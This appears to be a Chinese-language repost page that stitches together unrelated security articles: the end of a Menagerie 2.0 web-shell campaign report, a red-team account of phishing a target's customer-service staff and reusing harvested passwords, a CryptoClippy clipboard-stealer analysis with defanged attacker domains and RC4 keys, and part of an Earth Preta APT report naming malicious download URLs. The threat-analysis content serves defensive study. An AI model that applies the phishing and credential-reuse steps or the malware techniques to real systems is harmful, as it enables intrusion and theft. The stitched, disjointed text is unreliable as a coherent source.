PCHunterPCHunter是被觀察到的另一個被Menagerie 2.0活動使用的工具，它讓人想起GMER和Rootkit Unhooker等老工具。它是一個合法的和強大的工具包，用於瀏覽和修改不同的Windows內部組件。下圖顯示了試圖執行被阻止的PCHunter。

7.png

下圖顯示了“Epoolsoft Corporation”的PCHunter數字簽名。中文評論提供了該工具的快速描述。這被翻譯為“Yipmin是一個Windows系統信息查看工具（安全類別）。”

8.png

PCHunter簽名者信息

大規模後門：將已知的Web Shell部署到多個目的地在Menagerie 2.0活動中觀察到的第二波明顯的攻擊主要是在託管網站大規模部署web shell。這使得攻擊者能夠通過允許他們未來的公共訪問來加強他們的攻擊立足點，並將他們的web shell隱藏在嵌套文件夾深處。這些合法被劫持的網站將來可能會被用作C2服務器，例如，作為殭屍網絡基礎設施的一部分。

攻擊者的部署嘗試可以追溯到2022年初，當時他們在多個託管網站上部署了名為ASPXSpy的已知web shell，他們觀察到這個web shell被寫入了數百個不同的路徑，如下圖所示。

9.png

ASPXSpy web shell被寫入不同的託管網站路徑

GoIIS攻擊者還運行了一個名為IIS1.asp或GoIIS.exe的工具，該工具於2017年編譯。該工具是用Golang編寫的，用於遍歷服務器的文件夾以檢索服務器的配置信息。這使攻擊者能夠獲得有關被攻擊服務器的寶貴信息。

10.png

IIS工具

Sh.exe：自定義Web Shell部署工具2022年末，攻擊者部署了一個名為sh.exe的自定義工具，作為Menagerie 2.0活動的一部分，其執行情況如下圖所示。該工具的作用是根據共享相同公共IP地址的服務器上預先配置的路徑和合法被劫持網站的列表，在託管網站大規模編寫web shell。

為了方便使用此工具，攻擊者使用了caclcs.exe的自定義封裝器，攻擊者將其命名為mycacls.com，這是一個用於管理訪問控制列表（ACL）的命令行工具。該工具使他們能夠批量更改web服務器的ACL權限，並降低IIS安全設置。

11.png

嘗試與其他工具和命令一起執行sh.exe，但被Cortex XDR阻止

傳遞給sh.exe的參數包含共享相同公共IP的相關網站列表。在執行時，sh.exe工俱生成各種看起來合法的子文件夾，例如圖像和css，以進一步隱藏它們的活動。這可能是為了讓攻擊者將來能夠從互聯網訪問受害者的設備，並可能在將來大規模地使用該基礎設施作為C2服務器。

sh.exe使用'Fujian identical investment co.Ltd.'頒發的無效證書籤名，如下圖所示。這與ACSC報告在活動中描述的用於簽署另一個工具的名稱相同。

在觀察到的樣本中，sh.exe是在2022年11月3日編譯的。其證書於2022年12月6日簽署。簽署後不久，就可以看到攻擊者在其中一個受攻擊的環境中執行sh.exe。無效證書的編譯時間戳和日期範圍可能表明該工具是專門為此特定活動製作的。

12.png

Sh.exe無效簽名

雖然攻擊者刪除了大部分文件，但研究人員發現sh.exe和它釋放的文件之間存在無法恢復的連接。調查發現了攻擊者使用的三個不同的已編譯.NET DLL。

一旦“原始”ASPX文件第一次被訪問，這些dll將由IIS服務器編譯。在對代碼進行反編譯後，基於在兩個文件中發現的指示字符串，在web shell和sh.exe之間發現了有趣的相似之處。

瀏覽其中一個被web shell釋放的網站，頁面上的內容是字符串ONEPIECE，如下圖所示。

13.png

瀏覽其中一個被劫持網站的web shell資源

瀏覽其中一個web shell的代碼並查看負責顯示HTML內容的代碼，可以看到該字符串以及其他指示字符串，如x_best_911。

14.png

ONEPIECE字符串在編譯的web shell的DLL代碼中進行了硬編碼

在sh.exe中也可以找到x_best_911字符串，如下圖所示。

15.png

sh.exe中硬編碼的x_best_911字符串

在執行上述RID Hijack工具時生成的密碼包含xman字符串。這個字符串也可以在sh.exe中找到，如下圖所示，這表明了在最近的活動中看到的新工具之前也在Menagerie活動中出現過。

16.png

xman字符串在sh.exe中是硬編碼的

LPE工具集如上所述，一旦IIS服務器訪問web shell，就會動態編譯. net DLL並將其放置在臨時目錄中。如下圖所示，一個編譯過的DLL web shell文件是App_Web_xvuga1zl.dll。攻擊者與web shell建立的連接導致了另一次遠程執行多個LPE公開可用工具的嘗試，正如在與此活動相關的攻擊的許多階段所看到的那樣。

正如攻擊者之前所做的那樣，他們還使用了幾個權限升級工具。在一個示例中，為避免被阻止，每次執行之間只有幾分鐘的間隔：

JuicyPotato；

PrintSpoofer；

JuicyPotatoNG；

EfsPotato；

PetitPotam(法語“小河馬”)。

17.png

由Cortex XDR檢測和阻止的多個本地權限升級工具

MyComEop當研究人員分析了從Menagerie 2.0攻擊目標組織中恢復的幾個加載程序時，另一個發現引起了他們的注意。這些加載程序包括x和x.tmp文件的硬編碼字符串。當在調試器中執行這些加載程序時，它們成功地解密了它們的有效負載，揭示了另一個PoC LPE工具和後門，具有獨特的PDB路徑：

E:\git\MyComEopPower\MyComEopPipe\Build\Quantum.pdb；

E:\git\MyComEopPower\MyComEopPipe\Build\MyComEop.pdb；

在VirusTotal中搜索PDB路徑時，研究人員從另外兩個變體中發現了更顯著的元數據，如下圖所示。

18.png

從共享相同PDB路徑的另一個變體檢索的文件元數據

經過進一步研究，研究人員發現這是另一種很少見到的權限升級工具和後門，如下圖所示。

19.png

所述工具的硬編碼路徑

20.png

所述工具的後門日誌

新的攻擊在2023年4月，在監控與Menagerie 2.0相關的活動時，攻擊者部署了新修改的工具，並通過先前部署的web shell訪問受攻擊的環境，發現除了部署舊工具，還有更新的工具(如au.exe)。

攻擊者還通過執行net命令搜索iis_user是否存在。然後他們開始在%programdata%\x路徑中部署修改過的工具，這也是熟悉的攻擊套路。

他們部署的工具之一是GodPotato，如下圖所示，它是已知的LPE家族的另一個變體。這個工具也是公開可用的。

21.png

GodPotato工具截圖

研究人員觀察到的另一個工具是另一個自定義後門，如下圖所示。通過查看其PDB路徑D:\project\後門類\dllnc\exenc\x64\Release\exenc.pdb，它似乎是前面提到的DLLNC工具的一個新變體。這種變體側重於後門功能，而不是主要充當下載程序。

22.png

新後門的主要方法

總結“Menagerie2.0”活動針對網絡託管和IT公司已有兩年多的時間。研究人員認為這次活動是由之前的'Menagerie'活動演變而來的。這次攻擊的主要目標是濫用受攻擊的web服務器的資源以獲取經濟利益。正如ACSC之前報導的那樣，攻擊者在Menagerie 2.0中部署了多個挖礦程序。調查還顯示，隨著時間的推移，攻擊者擴大了他們的武器庫，並改進了他們的https來劫持合法網站。他們通過在受攻擊的大規模部署web shell，然後將其用作C2服務器。

HireHackking

0x00 前言

红蓝对抗无疑是一场持续性的博弈过程，随着近几年的攻防不断，打了一轮又一轮，web漏洞的急剧减少，社工钓鱼显然成为了主流的攻击手段之一。

图片

0x01 免责声明

请您务必认真阅读、充分理解下列条款内容：

1、本公众号分享的任何文章仅面向合法授权的企业安全建设行为与个人学习行为，严禁任何组织或个人用于非法活动。

2、在使用本文相关工具及技术进行测试时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权。

3、如果您在使用本文相关工具及技术的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。

4、严禁任何组织或个人使用本公众号的名义进行非法盈利。

5、本公众号的所有分享工具及技术文章，严禁不经过授权的公开分享。

如果发现上述禁止行为，我们将保留追究您法律责任的权利，并由您自身承担由禁止行为造成的任何后果。

0x02 常规操作走一遍

拿到靶标后 --> 资产收集 --> 找软柿子 --> 尝试打点

拿到靶标单位信息后，通过企查查查域名和企业架构，发现没有对外投资，只有一个上级单位总公司

图片

找子域，也没啥可用资产（virustotal.com，快速简便但不准确）


图片

通过qaxnb资产绘测平台来看看是否有可用信息，也是空空如也

图片

通过多点Ping，域名解析等操作来找真实IP，发现都是指向阿里云

图片

一套流程下来，除了一个打不动的官网（域名解析指向云，更没心情去深入挖掘了），没有任何可以打点的目标了

最终得出结论：软柿子竟是我自己

0x03 条条大路通罗马

web打不动，就不能走常规操作了，开始把矛头对准公众号，小程序

通过测移动端的应用，观察请求地址和回包内容，终于找到了真实IP地址，因此也得官网并没挂在云上

图片

通过IP进行全端口扫描，发现存在H3C网管设备，可以大概猜测出该IP为出口IP了

图片

通过扫描前后五个IP的全端口信息，喜出望外的发现了好几个应用系统，看着就像软柿子，感觉成功就在眼前了，马上就要一发入魂，直捣黄龙了，想想还有点小激动，嘿嘿嘿

结果，虽然存在一些漏洞，但还是一个都锤不动，getshell失败

果然，软柿子竟是我自己

但是，咱们做攻防的都是刚枪王，不到最后一秒是不会不放弃的，在渗透某系统的时候发现了一个大宝贝（在线人工一对一微信二维码 ）

图片

0x04 我爱靶标客服

添加靶标客服后，我那激动的心，颤抖的手，无一都不暗示着我们俩之间会像是初恋那般的美好，干柴遇烈火，今晚指定得发生点什么，嘿嘿嘿

通过对话的时间间隔和回复的短短只言片语，不难看出，枉我一篇赤诚之心，她对我竟是敷衍。

但俗话说得好：”撑死胆大的，饿死胆小的”，我断定出她对我不够上心，故，我决定做个胆大的好男儿。

图片

果然，在我那一句：“你确定吗？你有真心对我吗？”，在两个“？”的攻势下，她果然回心转意了，点开了我的大宝贝。我也成功的进入了她们单位的内网。

图片

图片

0x05 细节定成败

通过搜集进程信息和端口信息，发现内网存在金山杀毒，访问发现版本为v9（上传已修复）

图片

细节来啦，在前面测公众号时，发现一处账户密码，便随手记录了下来

图片

分析规律后手动重组几个账户密码，拿来碰撞金山杀毒，又是一发入魂，精准打击，成功拿下

图片

古人云：”内网之，得集控者得天下“。至此，虽已足够让该单位内网沦陷，但还不够完美，总感觉还少了什么，所以还得继续冲

通过组装后的密码，拿下上文的H3C网络设备，发现我直接成为了网络管理员，清楚了所有的路由走向和网络策略，嘿嘿嘿

图片

细心的师傅其实已经发现了，内网还存在vmware（上诉某图片的webtitle），那肯定也不能放过她，是吧，嘿嘿嘿

通过历史漏洞成功拿下，发现部署了核心生产系统，但是居然历史漏洞都没补

图片

getshell --> 拿data.mdb --> 解密 --> 获取cookie --> 进后台

图片

其他都是一些零零碎碎的东西了，没啥技术含量，想必各位师傅也不喜欢，那么就到此为止吧，再打就不礼貌了

0x06 攻击路线

图片

0x07 最后的话

文章内容有不合理或者不理解的地方，欢迎评论，咱们共同交流共同进步

文章内容有不合法或者侵权的地方，欢迎指出，核实后将立马删除本文


转载于原文链接： https://mp.weixin.qq.com/s/cixtFPn__YPe1XtpcTE2Ow?scene=25#wechat_redirect

HireHackking

Cryptojacking-r3d3.png

Unit 42最近發現了一個針對葡語用戶的惡意軟件活動，旨在將加密貨幣從合法用戶的錢包中轉移到由攻擊者控制的錢包中，該活動使用了一種被稱為CryptoClippy（加密貨幣剪輯器）的惡意軟件，它可以監控受害者的剪貼板，尋找加密貨幣錢包地址被複製的踪跡，以此來發起攻擊並竊取加密貨幣。

攻擊時，CryptoClippy會將實際錢包地址替換為攻擊者自己的地址。為了將惡意軟件植入到用戶的計算機，該活動中的攻擊者使用谷歌廣告和流量分發系統（TDS）將受害者重定向到假冒WhatsApp Web應用程序的惡意域名。他們藉此來確保受害者是真正的用戶，而且他們是葡語使用者。對於被發送到惡意域的用戶，攻擊者試圖誘騙他們下載惡意文件，包括.zip或.exe文件，從而獲得最終的有效負載。

什麼是加密貨幣剪輯器？ CryptoClippy旨在將加密貨幣資金從合法用戶的錢包轉移到由攻擊者控制的錢包。當計算機CryptoClippy時，惡意軟件會不斷檢查受害者的剪貼板，看看他們是否複製了加密貨幣錢包地址，其攻擊邏輯是，如果一個人將錢包地址複製到剪貼板，這表明他們可能正在將加密貨幣從一個錢包轉移到另一個錢包。

CryptoClippy使用正則表達式來識別地址屬於哪種類型的加密貨幣。然後，它將剪貼板條目替換為攻擊者的錢包地址。由於錢包地址通常很長，有時超過40個字符，粗心的用戶是不會注意到地址的變化。

CryptoClippy利用的是SEO攻擊，因此當一個人搜索“WhatsApp Web”時，搜索結果的前幾天就會顯示一個虛假結果。一旦進入該網頁，受害者就會被提示下載一個.zip文件，該文件包含一個由惡意腳本組成的.lnk文件。這些腳本引發了一系列安裝CryptoClippy的事件。各種CryptoClippy變體具有多種額外功能，可以幫助攻擊者完成他們的加密竊取活動。這包括能夠通過執行RC4加密的PowerShell腳本來建立遠程桌面協議（RDP）後門。

此腳本包含Windows Management Instrumentation（WMI）、終端服務註冊表操作、icacls、net命令和日誌清除的元素。這些漏洞使攻擊者能夠在內存有效負載之外進行訪問。

此外，該變體還具有針對以太坊和比特幣加密貨幣錢包的功能。鑑於數字貨幣在拉丁美洲越來越受歡迎，這並不奇怪。

撰寫本文時，攻擊者控制的比特幣地址顯示收到0.039954比特幣，大致相當於982.83美元，以太坊（ETH）地址也顯示了收到資金，其中0.110915556631181819 ETH（約等於186.32美元）是從三個不同的ETH地址發送的。

此活動中的攻擊者採用了多階段的方法，試圖繞過基於簽名和啟發式的安全防護。這種方法包括使用模糊化的PowerShell腳本和編碼的有效負載來逃避檢測，目前似乎只有少數安全程序可以在VirusTotal中檢測到這種惡意軟件。

攻擊流程攻擊會從傳播一個.zip文件開始，該文件包含一個模糊化的PowerShell命令行腳本組成的.lnk文件。受害者雙擊.lnk文件後，就會執行PowerShell腳本，該腳本將下載第二階段和幾個模糊/加密的有效負載。當執行第二階段PowerShell腳本時，它會對CryptoClippy加載程序進行解混淆/解密並執行它。然後加載程序會將其竊取程序組件注入svchost.exe中。

CryptoClippy將在剪貼板API中設置基於用戶模式事件的掛鉤和回調函數，在將受害者的以太坊/比特幣加密錢包複製到剪貼板時，將其替換為攻擊者的加密錢包。它還包含與C2服務器通信的功能。

CryptoClippy攻擊流程如下所示：

1.png

通過LNK文件攻擊

受害者最初下載的.zip文件中的.lnk文件包含一個截取的命令，如下圖所示。雙擊該文件將執行一個模糊命令，該命令位於快捷方式的目標字段中，負責檢查攻擊者控制的域。

99.1.png

LNK文件的目標字段包含要運行的命令

.lnk文件使用了幾種不同的字符填充方法進行混淆，其中包括以下字符集：

^

!

:~下圖顯示瞭如何在.lnk文件中使用這種方法。

99.2.png

LNK字符混淆

反混淆後，LNK得到以下PowerShell命令，該命令將通過HTTP協議將字符串uiPX上傳到攻擊者控制的域tunneldrive[.]com。

99.3.png

PowerShell命令將字符串上載到攻擊者域

需要注意的是，在目前觀察到的示例中，攻擊流程可以追溯到擴展名為.lnk的文件。這些文件通常包含在.zip中。然而在分析中，研究人員觀察到另一種變化，其中初始有效負載是一個.exe文件，該文件出自前面提到的域mydigitalreversion[.]com。

當WhatsApp Web的.exe文件一旦執行，它就會聯繫前面提到的tunneldrive[.]com域。然後，它將釋放並執行一個.bat文件來自我刪除。

這個.bat文件(如下圖所示)使用了一種模糊處理來構建其有效負載。

99.4.png

BAT文件在第一階段被釋放

第一階段第一個PowerShell腳本加載程序Ricoly.ps1由Ricoly.bat批處理文件啟動並執行。 Ricoly.ps1腳本的目的是解密同樣位於C:\Users\\AppData\Roaming\Ricoly中釋放的第二階段模糊/加密腳本ps。

Ricoly.ps1腳本使用的XOR密鑰大部分是靜態設置的硬編碼，而XOR密鑰的一部分是從計算機的處理器ID動態派生的。這將鎖定有效負載，如下圖所示。

99.5.png

第二階段研究人員使用以下CyberChef XOR秘鑰來解密第二階段的有效負載：

99.61.png

99.62.png

CyberChef用於解碼第二階段PowerShell腳本文件ps的內容

在第一階段下載時，會將名為sc的加密EXE文件寫入文件系統。這個EXE文件將成為第二階段ps腳本的目標。

第二階段PowerShell腳本ps的功能是充當反射PE加載程序。它使用.NET方法和D/invoke來處理.NET委託，以逃避檢測和動態解析。

ps腳本將確定操作系統是32位還是64位。它還將確定kernel32.dll作為反射加載程序所需的API功能，通過使用GetDelegateForFunctionPointer解析所需的API（如VirtualAlloc和CreateThread）來實現這一點。

然後，ps腳本將對有效負載進行XOR解密，並調用EXE文件sc。

99.7.png

使用D/invoke方法和XOR操作的第二階段PowerShell腳本

反射加載到內存中的EXE文件sc充當主加載程序，使用系統調用將代碼注入另一個新創建的進程。新創建的svchost.exe進程包含CryptoClippy。

文件夾名稱和互斥字符串生成器竊取程序的前幾個函數將首先映射出文件系統，以創建要使用的文件夾。這是通過使用API GetWindowsDirectoryA、GetVolumeInformationA和SHGetFolderPathA來實現的。

竊取程序包含一個函數，它將創建字母數字字符串。此字符串生成器用於主程序中的多個位置。它首先用於在AppData路徑下創建一個唯一的文件夾名稱。為此，使用一個常量值作為字符串生成器的參數。

在本示例中，常量是0x79FE6D，它將在字符串生成器函數中使用，並映射到格式字符串%08x-%08x。

99.8.png

常量引用和函數字母數字生成器的xref

字符串生成函數將使用提供給函數的常數值和從受害者係統查詢的捲序列號。它將創建以下字符串作為示例：079fe6d-de786dd1。

99.9.png

常量值和卷序列號連接成格式字符串

該算法將按每個字符拆分，以此來打亂字符串079fe6d-de786dd1。第一個操作將是由字符串的第一個字符執行的對FFFFFFFF值的異或。

然後，所得到的運算將被右移1，並被常數0x82F63B78異或。結果異或操作將遵循相同的操作集，在16個字符示例字符串079fe6d-de786dd1中，每個字符總共執行8次。

算法完成後，返回要添加到AppData目錄的文件夾名稱。本例中的文件夾名稱為55abf82d，完整路徑為C:\Users\xxx\AppData\Roaming\55abf82d。這將根據作為輸入提供的常量和卷序列號而變化，以創建唯一的字母加數字字符串。

99.10.png

使用的算法的結果，即要創建的文件夾名稱

互斥鎖攻擊者的互斥鎖的創建也使用字符串生成器函數，該函數作為參數提供了一個不同的常量值。在本例中，值為0x24F2D5。

99.11.png

用於創建帶有捲序列號的互斥鎖的常量值

用戶模式事件掛鉤設置為了便於竊取者剪切剪貼板的加密錢包地址，並將其替換為二進製文件中包含的硬編碼錢包，它將首先調用API SetWinEventHook來設置事件掛鉤，以便在觸發特定事件時調用負責與剪貼板數據交互的函數。

EVENT_OBJECT_FOCUS

EVENT_OBJECT_VALUECHANGE

EVENT_SYSTEM_FOREGROUND

事件掛鉤設置將具有一個從所有進程以及所有現有線程接收事件的進程範圍，然後跳過連接負責創建掛鉤的所屬進程。在設置事件掛鉤之後，創建一個Windows事件對象。它通過調用用於同步的Windows API CreateEventA來實現這一點，當特定事件發生並完成時，它將向線程發出信號。

99.12.png

windows事件鉤子和註冊類的反編譯視圖

創建Windows對象事件之後，竊取程序將使用API RegisterClassExA。此API提供了一個指向WNDCLASSEX結構的指針，該結構包含wcbClass和各種結構字段。

在此之後，調用CreateWindowExA，它將創建一個具有前面API所指向的結構的窗口。在這個結構中，我們分析的重要字段是lpfnWndProc字段，它指向惡意軟件開發者的剪貼板函數。

後門在CryptoClippy執行期間，此威脅將解密並寫入文件Tozzia.bat和Tozzia.ps1到文件系統，這些文件系統嵌入到文件系統中。執行批處理文件Tozzia.bat，然後執行Tozzia.ps1。

99.13.png

Tozzia.bat文件內容

下圖顯示了Tozzia.ps1被寫入文件系統並執行，從而進行持久性攻擊。

99.14.png

Tozzia.ps1內容

下圖顯示了Tozzia.ps1通過創建計劃任務來獲得持久性。

99.15.png

執行Tozzia.bat的計劃任務

在Tozzia腳本解密後，另外兩個腳本Giddia和Knowledgeprojects也被解密，但沒有被執行或寫入文件系統。從內存中提取Giddia和Knowledgeprojects這兩個腳本，可以看到幾百行額外的腳本代碼。

Giddia腳本包含執行與終端服務相關的註冊表屬性值的功能，目的是削弱它們。它還包含網絡命令和本地帳戶相關操作的功能。

99.16.png

PowerShell腳本名Giddia

99.17.png

Giddia功能

99.18.png

名為Knowledgeprojects的PowerShell腳本

Knowledgeprojects腳本包含使用PowerShell清除日誌的功能。

99.19.png

通過惡意廣告（Malvertising）傳播

研究人員觀察到這種利用谷歌廣告和TDS的惡意軟件活動。當用戶搜索“WhatsApp網絡”時，攻擊者使用了出現在搜索結果中的谷歌搜索廣告。這使他們能夠誘騙受害者打開並下載他們的惡意壓縮.zip文件。在2022年初收到這一攻擊的警報後，谷歌實施了額外的保護措施，並表示，其係統在檢測和防止再次攻擊方面有所改進。

此外，攻擊者使用TDS過濾惡意登錄頁面上的真正用戶和機器人。 TDS過濾器通過使用各種標準來確定客戶端設備是否是真實用戶以及葡語使用者，從而排除機器人和互聯網爬蟲。

首先，TDS檢查連接設備是否來自虛擬專用網絡（VPN）IP地址。使用VPN會使攻擊者難以確定受害者設備的位置和特徵，也會使其更難傳播惡意內容。

接下來，TDS進行用戶代理檢查。用戶代理是網絡瀏覽器發送到網站以識別其自身及其功能的文本字符串。通過檢查客戶端設備的用戶代理，TDS通過檢查接受語言(Accept-Language)標頭來確定首選瀏覽器語言是否為葡語。 TDS還可以檢查其他信息，如設備類型、操作系統、瀏覽器版本和地理位置。

最後，TDS遵循超文本傳輸協議（HTTP）GET標頭標準。 HTTP GET標頭是由web瀏覽器發送到服務器以檢索資源的請求消息。標頭可以包含各種信息，例如請求的URL、用戶代理、Accept-Language標頭和referer標頭。檢查HTTP GET標頭中的條件是TDS確定瀏覽器的首選語言是否為葡語的另一種方法。

如果TDS確定連接不符合上述標準，受害者將被重定向到另一個登錄頁（如下圖所示），並被提示點擊“繼續到WhatsApp Web”。這將重定向到合法的WhatsApp Web域，而不會有任何進一步的惡意活動，有效地逃避了受害者和安全軟件的檢測。

惡意域名的內容但是，如果TDS確定該連接滿足上述條件，受害者將被重定向到惡意登錄頁面，並提示他們下載惡意的.zip文件

受害者的瀏覽歷史這個網站偽裝成WhatsApp的官方網站，提供WhatsApp桌面。從mydigitalrevival[.]com下載此文件就會下載所謂的WhatsApp.zip。

mydigitalrevival[.]com網站研究人員發現的屬於本次活動的其他域名還有preflightdesign[.]com和pickconferences[.]com，它們的葡語版本也有同樣的內容。

當受害者成功加載惡意網頁並下載所提供的.zip文件時，其中包含一個.lnk文件，如下圖所示。

初始ZIP文件中包含LNK文件在執行.lnk文件後，研究人員觀察到下載到C:\Users\\AppData\Roaming\Ricoly中的以下文件：

Ricoly.bat；

Ricoly.ps1；

兩個混淆的加密文件（ps，sc）；

一個混淆的加密輔助配置文件（pf）；

第一個PowerShell腳本加載程序Ricoly.ps1由Ricoly.bat批處理文件啟動並執行。 Ricoly.ps1腳本的目的是解密第二階段的模糊化/加密的腳本ps。

第二階段PowerShell腳本ps的功能是充當反射PE載入程序。 ps文件將以寫入文件系統的名為sc的加密EXE文件為目標。 sc文件是反射加載的，最終用作CryptoClippy的載入程序。

主要可執行文件在執行.lnk文件和兩個後續的PowerShell腳本之後，CryptoClippy操作由一個可執行載入程序和主要可執行文件組成。 CryptoClippy的載入程序是一個64位的EXE文件，其中主竊取程序EXE文件嵌入在.data部分中。載入程序使用系統調用，在執行時似乎與SysWhispers2實現重疊。

SysWhispers2是一個更隱蔽的代碼執行實現，用於繞過對用戶模式API的檢查。這種繞過是可能的，因為用戶模式API通常由應用程序使用，包括AV/EDR產品通過用戶模式掛鉤進行內省。

CryptoClippy的主要可執行文件是用C編寫的，它是用傳輸層安全性（TLS）庫Mbed-TLS靜態編譯的。可執行文件的主要功能包括它自己的名稱生成算法即文件路徑、互斥對象和事件對象。主可執行文件還廣泛使用了一個名為pf的本地輔助文件，該文件包含一個加密的證書。 CryptoClippy使用它自己的算法從輔助文件中消除字符查找表的混淆，從而從查找表中指向值的指針構建明文證書。

該威脅還使用兩個不同的RC4密鑰進行各種字符串解密。字符串解密例程將使用內存中內置的結構，用於結構中的索引位置、字符串偏移量和字符串大小。這些字符串與對象名稱、域、加密錢包和持久性腳本有關。

RC4Key:1b43233d5a054808061c190336320e46

RC4Key:4646070B47445451604F291809444703竊取加密貨幣

HireHackking

本文將介紹Earth Preta APT組織利用的最新工具、技術和程序（TTP）的更多技術細節。介紹在2022年11月，趨勢科技的研究人員就披露了由高級持續性威脅（APT）組織Earth Preta（也稱為Mustang Panda）發起的大規模網絡釣魚活動。該活動通過魚叉式網絡釣魚電子郵件針對亞太地區的多個國家。自2023年初以來，該組織正在使用新的方法，例如MIROGO和QMAGENT。

此外，研究人員還新發現了一個名為TONEDROP的釋放程序，它可以釋放TONEINS和TONESHELL惡意軟件，根據觀察，該組織正在將其目標擴展到不同的地區，如東歐和西亞，再加上亞太地區的幾個國家，如緬甸和日本。

通過追踪分析惡意軟件和下載網站，研究人員試圖找到攻擊者用來繞過不同安全解決方案的工具和技術。例如，研究人員收集了部署在惡意下載網站上的腳本，這使他們能夠弄清楚它們的工作原理。研究人員還觀察到，Earth Preta向不同的受害者提供不同的有效負載。

受害者研究從2023年1月開始，研究人員就觀察到幾波針對不同地區個人的魚叉式網絡釣魚電子郵件。

1.jpg

魚叉式網絡釣魚郵件收件人的國家分佈

研究人員還能根據目標行業對受害者進行細分。如下圖所示，大多數目標自電信行業。

2.png

魚叉式網絡釣魚郵件收件人的行業分佈

2023年，研究人員使用了新的攻擊指標監測了Earth Preta，包括MIROGO、QMAGENT和名為TONEDROP的新TONESHELL釋放程序。

同樣，這些攻擊鏈也發生了變化。例如，除了部署合法的Google Drive下載鏈接外，攻擊者還使用其他類似但實際上不是Google Drive頁面的下載網站。

3.jpg

2023年的事件時間線

Backdoor.Win32.QMAGENT2023年1月左右，研究人員發現QMAGENT惡意軟件通過魚叉式網絡釣魚電子郵件傳播，目標是與政府組織有關的個人。 QMAGENT（也稱為MQsTTang）最初是在ESET的一份報告中披露，值得注意的是，它利用了物聯網（IoT）設備中常用的MQTT協議來傳輸數據和命令。由於上述報告詳細描述了惡意軟件的技術細節，我們在此不再贅述。然而，研究人員認為所使用的協議值得進一步調查。

Backdoor.Win32.MIROGO2023年2月，研究人員發現了另一個用Golang編寫的名為MIROGO的後門，Check Point Research首次將其報告為TinyNote惡意軟件。研究人員注意到，它是通過一封嵌入Google Drive鏈接的釣魚電子郵件發送的，然後下載了一個名為Note-2.7z的壓縮文件。該壓縮文件受密碼保護，密碼在電子郵件正文中提供。提取後，研究人員發現了一個偽裝成發給政府的可執行文件。

4.png

MIROGO攻擊流程

Trojan.Win32.TONEDROP2023年3月，研究人員發現了一個名為TONEDROP的新釋放程序，它可以釋放TONEINS和TONESHELL惡意軟件。它的攻擊鏈與之前報告中介紹的相似，涉及隱藏被異或的惡意二進製文件的虛假文件。

在接下來的幾個月裡，研究人員發現該組織還在使用這個釋放程序。在研究人員的調查過程中，他們發現了TONESHELL後門的一個新變體。

5.png

釋放程序流程

6.png

TONEDROP中的文件

在釋放和安裝文件之前，TONEDROP將檢查文件夾C:\ProgramData\LuaJIT是否存在，以確定環境是否已經被破壞。它還將檢查正在運行的進程和窗口是否與惡意軟件分析工具有關。如果是這樣，它將不會繼續其例行程序。

7.png

檢查正在運行的進程和窗口

如果所有條件都滿足了，它將開始安裝過程並釋放幾個文件。這些文件嵌入到釋放程序中，並使用異或密鑰解密。

8.png

釋放的文件和用於解密它們的異或密鑰

被釋放後，WaveeditNero.exe將側載waveedit.dll並解密其他兩個偽造的PDF文件：

它用XOR密鑰0x36解密C:\users\public\last.pdf，並將其寫入C:\users\public \documents\WinDbg（X64）.exe。

它用XOR密鑰0x2D解密C:\users\public\update.pdf，並將其寫入C:\users\public\documents\ libvcl .dll。

TONEDROP將為進程C:\users\public\documents\WinDbg（X64）.exe設置一個計劃任務，它將繞過加載C:\users\public\documents\ libvcl .dll。接下來，它將通過調用具有回調函數的API EnumDisplayMonitors來構造惡意負載並在內存中運行它。

TONESHELL變體D的CC協議研究人員發現了TONESHELL的一個新變體，它具有如下命令和控制（CC）協議請求數據包格式：

9.png

加密後發送數據的內容

CC協議類似於PUBLOAD和其他TONESHELL變體所使用的協議。研究人員將其歸類為TONESHELL變體D，因為它還使用CoCreateGuid來生成唯一的受害者ID，這與舊的變體類似。

在第一次握手中，有效負載應該是一個0x221字節長的緩衝區，其中包含加密密鑰和唯一受害者ID。表4顯示了有效負載的結構。請注意，字段type、victim_id和xor_key_seed在發送緩衝區之前使用xor_key進行加密。

10.png

發送數據的內容

研究人員發現該惡意軟件將victim_id的值保存到文件%USERPROFILE%\AppData\Roaming\Microsoft\Web.Facebook.config中。

11.png

第一次握手中的有效負載

CC通信協議的工作原理如下：

1.將包含xor_key和victim_id的握手發送到CC服務器；

2.接收由魔術組成並且具有0x02大小的5字節大小的數據包；

3.接收到一個用xor_key解密的2字節大小的數據包，該數據包的第一個字節必須為0x08；

4.接收到由魔術和下一個有效負載大小組成的數據。

5.使用xor_key接收並解密數據。第一個字節是命令代碼，下面的數據是額外的信息。

12.png

CC通信

13.png

命令代碼

虛假Google Drive網站2023年4月，研究人員發現了一個傳播QMAGENT和TONEDROP等惡意軟件類型的下載網站。當研究人員請求URL時，它下載了一個名為Documents.rar的下載文件，其中包含一個原來是QMAGENT示例的文件。

14.png

下載網站的截圖

雖然這個頁面看起來像Google Drive下載頁面，但它實際上是一個試圖偽裝成普通網站的圖片文件（gdrive.jpg）。在源代碼中，它運行腳本文件，它將下載文件Document.rar。

15.png

嵌入下載網站的惡意腳本

2023年5月，Earth Preta連續傳播了具有不同路徑的同一下載網站來部署TONESHELL，例如https://rewards[.]roshan[.]af/aspnet_client/acv[.]htm。在這個版本中，攻擊者用另一段JavaScript混淆了惡意URL腳本，如下圖所示。

16.png

該頁面的源代碼

17.png

解碼後的惡意腳本URL

最後，腳本jQuery.min.js將從https://rewards.roshan[.]af/aspnet_client/Note-1[.]rar下載歸檔文件。

18.png

jQuery.min.js腳本

技術分析在調查過程中，研究人員嘗試了幾種方法來追踪事件，並將所有指標聯繫在一起。研究人員的發現可以概括為三個方面：代碼相似性、CC連接和糟糕的操作安全性。

代碼相似性研究人員觀察到MIROGO和QMAGENT惡意軟件之間有一些相似之處。由於檢測次數有限，研究人員認為這兩種工具都是Earth Preta開發的，且它們都是用兩種不同的編程語言實現了類似的CC協議。

19.png

MIROGO和QMAGENT惡意軟件的異同

CC 通信惡意軟件QMAGENT使用MQTT協議傳輸數據。經過分析，研究人員意識到所使用的MQTT協議沒有加密，也不需要任何授權。由於MQTT協議中的獨特“特性”（一個人發布消息，其他所有人接收消息），研究人員決定監控所有消息。他們製作了一個QMAGENT客戶端，看看有多少受害者被盯上了。經過長期監測，研究人員製作瞭如下統計表：

20.png

QMAGENT通信

